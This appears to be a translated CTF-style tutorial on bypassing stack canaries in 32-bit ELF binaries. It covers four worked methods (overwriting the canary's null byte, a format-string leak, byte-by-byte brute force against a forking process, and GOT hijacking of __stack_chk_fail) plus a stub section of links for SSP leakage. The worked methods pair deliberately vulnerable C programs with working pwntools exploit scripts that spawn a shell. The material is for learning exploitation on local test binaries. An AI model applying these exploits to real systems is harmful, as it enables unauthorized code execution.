Method 1: get Canary by overwriting truncated characters
principle
Canary's low byte is designed to be \ x00, which is intended to prevent Canary from being read directly by read, write and other functions. The value of Canary can be read out by overwriting the low \ x00 through stack overflow.
From the above analysis, we can sort out the idea of bypassing:
- Construct the first overflow, overwrite the Canary low byte \ x00, and read out the Canary value
- Construct the second overflow, use the obtained Canary to reconstruct the payload and obtain the shell.
The following is a practice by an example program
// test.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; }
Compile the ELF file generated as 32,
$ gcc test.c -no-pie -m32 -fstack-protector -z noexecstack -o test
Examples
-
View security policy
root@kali:~/ctf/Other/pwn/CanaryTest# checksec test [*] '/root/ctf/Other/pwn/CanaryTest/test' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
You can see that NX and Canary are turned on
-
View available functions and methods
Using radare2 static analysis, it is found that the function getshell() that can be used directly returns to the shell.
[0x08049237]> afl ... 0x080491b2 1 43 sym.getshell ...
-
Find overflow point
sym. Overflow exists in Vuln function. Read can read the contents of 0x200 into the stack of 0x70, and then printf will print the string read in by read.
... / (fcn) sym.vuln 108 | sym.vuln (); | ; var signed int var_74h @ ebp-0x74 | ; var int32_t var_70h @ ebp-0x70 | ; var int32_t var_ch @ ebp-0xc | ; var int32_t var_4h @ ebp-0x4 | ; CALL XREF from main @ 0x80492d4 | 0x08049237 55 push ebp | 0x08049238 89e5 mov ebp, esp | 0x0804923a 53 push ebx | 0x0804923b 83ec74 sub esp, 0x74 | 0x0804923e e8adfeffff call sym.__x86.get_pc_thunk.bx | 0x08049243 81c3bd2d0000 add ebx, 0x2dbd | 0x08049249 65a114000000 mov eax, dword gs:[0x14] | 0x0804924f 8945f4 mov dword [var_ch], eax | 0x08049252 31c0 xor eax, eax | 0x08049254 c7458c000000. mov dword [var_74h], 0 | ,=< 0x0804925b eb29 jmp 0x8049286 | | ; CODE XREF from sym.vuln @ 0x804928a | .--> 0x0804925d 83ec04 sub esp, 4 | :| 0x08049260 6800020000 push 0x200 ; 512 | :| 0x08049265 8d4590 lea eax, dword [var_70h] | :| 0x08049268 50 push eax | :| 0x08049269 6a00 push 0 | :| 0x0804926b e8d0fdffff call sym.imp.read | :| 0x08049270 83c410 add esp, 0x10 | :| 0x08049273 83ec0c sub esp, 0xc | :| 0x08049276 8d4590 lea eax, dword [var_70h] | :| 0x08049279 50 push eax | :| 0x0804927a e8d1fdffff call sym.imp.printf ...
-
payload
This problem turns on Canary, so it is definitely not possible to directly overflow the stack.
- Construct the first overflow, overwrite the Canary low byte \ x00, and read out the Canary value
From 0x0804924f mov DWORD [var_ch], the eax instruction can know that canary is stored at 0xC. Therefore, the distance from the top of the stack to the low byte of Canary should be 0x70 - 0xc. We need to cover the low byte of Canary, so we need to add an additional byte, so paylaod_ The length of 1 should be 0x70 - 0xc + 0x1
payload_1 = b'a' * (0x70 - 0xc + 0x1)
Canary is the four bytes starting from 0x70-0xC= 0x64. Because the lowest byte has been overwritten and the default is \ x00, you can get Canary by simply obtaining the values of 0x65, 0x66 and 0x67 and splicing another \ x00
- Construct the second overflow and use the leaked canary to overflow the stack
The distance from the top of the stack to ebp is 0x70, and the distance from Canary to ebp is 0xc. Therefore, after covering canary, 0x8 bytes will be added, plus the length of ebp itself is 0x4, so 0xc bytes will be added.
payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)
-
write up
from pwn import * context.log_level = 'debug' conn = process('./test') getshell = 0x080491b2 conn.recvuntil('Hello Hacker!\n') # First overflow payload_1 = b'a' * (0x70 - 0xc) conn.send(payload_1) recvbytes = conn.recv() # Get canary canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00')) print(f'Canary: {hex(canary)}') # Second overflow payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell) conn.send(payload_2) conn.recv() conn.interactive()
Method 2: use the format string vulnerability to obtain Canary
principle
The format string vulnerability can print the contents of the stack, so this vulnerability can be used to print the value of canary, so as to overflow the stack.
Examples
The topic in method 1 is also taken as an example.
In the vuln function, the printf function directly prints the user input read by read, so we can use printf to disclose the contents of the stack by entering a special payload.
How to determine the location of canary?
-
First, confirm the position of the currently entered text in the stack
Construct a payload equal to aaaa+n%x-, and then observe the output until the output contains 6161, that is, the ascii code of 4 a. As follows:
root@kali:~/ctf/Other/pwn/CanaryTest# ./test Hello Hacker! aaaa%x-%x-%x-%x-%x-%x-%x-%x- aaaaffeea598-200-8049243-f7f05d20-0-61616161-252d7825-78252d78-
Count the position where 6161 appears. It appears at the 6th position in the stack, corresponding to the 6th% x
-
From the previous question, we know that the distance from the top of the stack to canary is 0x70-0xc, and a% X in printf will output 4 bytes, so the interval (0x70-0xC)/4=25% X. therefore, starting from the sixth% x, outputting 25% X is the value of canary
payload_1 = b'%x-' * ( 6 + 25)
canary is the last group%x- corresponding to the received bytes
Finally, as in the previous question, overflow the shell for the second time
payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)
write up
from pwn import * context.log_level = 'debug' conn = process('./test') getshell = 0x080491b2 conn.recvuntil('Hello Hacker!\n') # First overflow payload_1 = b'%x-' * ( 6 + 25) conn.send(payload_1) recvbytes = conn.recv() # Get canary canary = int(recvbytes.split(b'-')[-2], 16) print(f'Canary: {hex(canary)}') # Second overflow payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell) conn.send(payload_2) conn.recv() conn.interactive()
Method 3 byte by byte blasting
principle
- Canary is different after each process restart, but canary in the same process is the same. The Canary of the child process created through the fork function is also the same, because the fork function will directly copy the memory of the parent process.
- Burst times: for 32-bit ELF, the low byte is fixed as \ x00, so only three bytes need to be burst. The blasting method is to overwrite the sub low byte by using stack overflow. If there is an error, an error will be reported. If the correct sub low byte is obtained, an error will not be reported. After obtaining the correct sub low byte, burst the sub high byte and high byte in turn. The probability of each byte is 256, so the total number of bursts of three bytes is 256 + 256 + 256 = 768
Examples
Make some changes on the basis of the previous examples,
// test2.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> void getshell(void) { system("/bin/sh"); } void init(void) { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); } void vuln(void) { char buf[100]; memset(buf, 0, sizeof(buf)); read(0, buf, 0x200); printf("%s\n", buf); } int main(void) { init(); while (1) { printf("Hello Hacker!\n"); if (fork()) //father { wait(NULL); } else //child { vuln(); exit(0); } } return 0; }
compile
$ gcc test2.c -no-pie -m32 -fstack-protector -z noexecstack -o test2
-
View security policy. Similar to example 1
[*] '/root/ctf/Other/pwn/CanaryTest/test2' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
-
static analysis
I don't know much about fork function at present, but it doesn't affect the current problem-solving. I'll study it later.
fork()
The overflow point is still in sym Vuln function, as before.
Digression: puts(buf) and printf("%s\n", buf)
Note that in the c code, we use printf("%s\n", buf), but after compilation, it is found that call sym. is called in the assembly code. imp.puts. Why?
The puts function outputs a string and adds a newline character at the end of the string. When the format parameter of printf is% s\n, the result is the same as that of puts. Therefore, the compiler chooses to use puts instead of printf during optimization
-
payload
First, obtain Canary by blasting
canary = b'\x00' for i in range(3): for b in range(0, 256): payload = b'a' * (0x70 - 0xC) + canary + bytes(b) # Here is the pseudo code if (recv No error reported): canary += bytes(b) break
After getting canary, get the shell
payload = b'a' * (0x70 - 0xC) + p32(canary) + b'a' * 0xC + p32(getshell)
-
write up
from pwn import * import re import time #context.log_level = 'debug' conn = process('./test2') getshell = 0x080491f2 canary = b'\x00' for i in range(3): for j in range(0, 256): #conn.recvuntil(b'Hello Hacker!') payload = b'a' * (0x70 - 0xC) + canary + p8(j) conn.send(payload) time.sleep(0.01) res = conn.recv() if ( b"stack smashing detected" not in res): print(f'the {i} is {hex(j)}') canary += p8(j) break assert(len(canary) == i+2) print(f'Canary : {hex(u32(canary))}') # Second overflow payload_2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(getshell) conn.send(payload_2) conn.recv() conn.interactive()
After running, if no error is reported, the shell is successfully obtained, as shown below. If errors are reported frequently, the time interval can be extended
root@kali:~/ctf/Other/pwn/CanaryTest# python3 exp2.py [+] Starting local process './test2': pid 81149 the 0 is 0x71 the 1 is 0xec the 2 is 0xf7 Canary : 0xf7ec7100 [*] Switching to interactive mode $ ls core exp1_1.py exp1_2.py exp2.py test test2 test2.c test.c
Method 4 SSP leakage
There are still many puzzles in this part, which need to be further studied.
https://www.anquanke.com/post/id/177832#h2-3
https://blog.csdn.net/chennbnbnb/article/details/103968714
Method 5 hijacking__ stack_chk_fail function
principle
In the program that enables Canary protection, if canary is wrong, the program will go to stack_ chk_ The fail function executes. stack_ chk_ The fail function is a common delay binding function, which can be hijacked by modifying the GOT table.
Examples
Take the following as an example
// test3.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void getshell(void) { system("/bin/sh"); } int main(int argc, char *argv[]) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); char buf[100]; read(0, buf, 200);#Stack overflow printf(buf); return 0; }
- The hijacking function needs to modify the got table, so close relro (RELocation Read Only)
- You need to call the getshell function, so you need to close the pie (position independent executive)
$ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o test3
-
View security policy
[*] '/root/ctf/Other/pwn/CanaryTest/test3' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
-
static analysis
-
There is a getshell back door
-
printf in the main function directly prints the content entered by the user. There is a format string vulnerability, which can be used to write data to any address
-
-
payload
According to the previous study of the got table, we know that the got table stores the actual address of the function__ stack_ chk_ The got table address of the fail function is replaced by the address of the getshell. In case of canary error, call__ stack_ chk_ When fail, you will get the shell directly.
stack_chk_fail_got = elf.got['__stack_chk_fail'] getshell = elf.sym['getshell'] # 0x080491a2
Here we use fmtstr in pwntools_ Payload () can easily tamper with the address
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
- Offset (int): offset of string
- writes (dict): injected address and value, {target_addr: change_to,}
The value of the first offset can be confirmed manually
root@kali:~/ctf/Other/pwn/CanaryTest# ./test3 aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x- aaaaff959cf8-c8-80491e4-f7f15ae0-1-f7ee4410-ff959e24-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-
6161 is the 10th position, so offset takes 10
payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
It will also cause an overflow and trigger__ stack_chk_fail
payload = payload.ljust(0x70, b'a')
-
write up
from pwn import * conn = process('./test3') elf = conn.elf stack_chk_fail_got = elf.got['__stack_chk_fail'] getshell = elf.sym['getshell'] # 0x080491a2 payload = fmtstr_payload(10, {stack_chk_fail_got: getshell}) payload = payload.ljust(0x70, b'a') conn.send(payload) conn.interactive()